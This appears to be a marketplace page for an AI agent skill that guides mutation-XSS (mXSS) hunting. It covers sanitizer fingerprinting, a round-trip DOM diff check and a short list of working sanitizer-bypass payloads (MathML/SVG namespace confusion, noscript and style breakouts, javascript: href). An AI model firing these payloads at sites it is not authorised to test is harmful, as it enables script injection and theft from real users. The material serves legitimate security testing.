# Hunt Xss Mxss

> Mutation XSS expert of the xss split. The sanitizer verdict is correct for

- Skill: `encod3d-sec/hunt-xss-mxss` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-xss-mxss`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-xss-mxss/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-xss-mxss

---


# Hunt: XSS - mXSS expert (microskill)

Mutation XSS expert of the xss split. The sanitizer verdict is correct for
the STRING it saw; the bug fires when the browser re-parses the sanitized
output and builds a DIFFERENT tree. The load-bearing idea: mXSS is not a
payload problem, it is a round-trip oracle problem - diff
`el.outerHTML` after insertion against what the sanitizer returned.

## Wiki

Hub: [[wiki/techniques/web/xss]] - qmd on hint only: "mutation xss mxss
dompurify sanitizer bypass namespace mathml svg noscript".

## Paths (binding - shared with the mapper run)

    RUN=$ENG_DIR/hunt/xss/<host>          # SHARED with hunt-xss
    Experts write probes/xss-mxss*.jsonl into the mapper's $RUN tree.

## Step 1 - Sanitizer fingerprint

- [ ] Identify WHICH sanitizer + EXACT version: grep the JS corpus for
      `dompurify`, `DOMPurify.sanitize`, `sanitize-html`, `ALLOWED_TAGS`,
      version strings in package manifests or bundle comments.
- [ ] Known-vulnerable DOMPurify ranges (2025-2026 class bugs):
      3.1.3-3.2.6 and 2.5.3-2.5.8 (CVE-2025-15599, CVE-2026-0540).
      Fixed in >= 3.2.7 / >= 2.5.9. Record the version @ $RUN/raw/mxss-sanitizer.md.
- [ ] Custom/server-side allowlist: record which tags+attrs survive
      (reuse the mapper's sanitizer probe verdict).

## Step 2 - Round-trip oracle (the decisive probe)

For EVERY sanitize-then-insert path:

```
1. submit a marked benign string through the same field
2. locate the inserted node in the LIVE DOM
3. diff node.outerHTML against the sanitizer's returned string
4. ANY difference in tag structure = mutation; a mutation that
   exposes a new tag/attr is the mXSS primitive
```

Automatable console check:

```js
const el = document.querySelector('#sink');
console.log(el.outerHTML);  // compare vs submitted string
```

## Step 3 - Mutation payload families (in fenced payloads only)

Namespace confusion (MathML/SVG foreign content):

```
<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=alert(1)>
<math><mtext></math><img src=x onerror=alert(1)></mtext></math>
```

noscript title breakout (sanitizer sees a title ATTRIBUTE; the browser
re-parses `</noscript>` inside it as a real end tag):

```
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
```

style raw-text resync (allowlisted `<style>`):

```
<style><style/><img src=x onerror=alert(1)>
```

Post-sanitization mutation (app code rewrites href after sanitizing):

```
app: el.setAttribute('href', userValue) after DOMPurify.sanitize
probe: javascript:alert(1) in the rewritten attr
```

## Step 4 - Validation + exit

- [ ] Execution captured in a real browser (`alert(window.origin)`),
      console + screenshot into targets/<eng>/poc/ - the sanitizer
      "passed" so only live execution proves the class.
- [ ] Append rows to $RUN/candidates.jsonl (keys
      class|host|endpoint|method|evidence|confidence|next) with
      class=mxss; pointer line `XSS-MXSS-DONE sanitizer=<name+ver> roundtrips=<n> fired=<n>`
      appended to $ENG_DIR/hunt-xss-<host>.md.
- [ ] Deadends: sanitizer >= fixed versions AND round-trip diff clean =
      terminal row naming the version.

Blocked implies research: before any Deadend is claimable on a held
row, (a) walk the shared arsenal (`hunt-xss/references/waf-bypass.md`)
rows for that control class, and (b) run one wiki query AND one
`mcp__wigolo__search` for `<sanitizer name+version> mXSS bypass`.
Results, or a genuine null, land in `coverage-depth.md`. "No research
tried" is not a claimable state.

### Depth walk (mandatory)

Walk EVERY applicable row: every sanitizer round-trip / re-serialization path mapped in Step 1. Record each
row in `$RUN/coverage-depth.md` as a table `| row | state | evidence |`
where state is `probed`, `blocked`, or `N/A`, and evidence is a probe
path or a Deadends.md line. A bare `probed` with no evidence reference
fails the completion gate.

## Validation

Proof = sanitized-shape markup mutated into executable markup observed in the live DOM at the SECOND engine (probe pair + screenshot) - a mutation visible only in your own re-serialization, not the target's, is nothing.

## False Positives

- Mutation exists in theory (fuzzer shows a diff) but the target's render path never re-parses the value.
- Differences that are cosmetic (attribute reordering, entity normalization) without an executable sink.

## Cross-routing

- - hunt-xss (mapper) for the original injection point; hunt-xss-csp when the mutation's purpose is dodging the policy; hunt-xss-dom for sink-side analysis.

## Attack surface

**APPROACH:** Map re-serialization points (edit view, export, sanitizer round trips, highlight pipes); submit sanitized-shape markup and diff the DOM after each re-render; target namespace switches (svg/math) where the second parser mutates.
**AVOID:** The mutation must be observed in the live DOM after re-render - a payload that is inert at rest proves nothing.

## Stop conditions

Round-trip oracle run on every sanitize-then-insert path; every mutated
diff escalated or explained; nothing written into skill dirs.

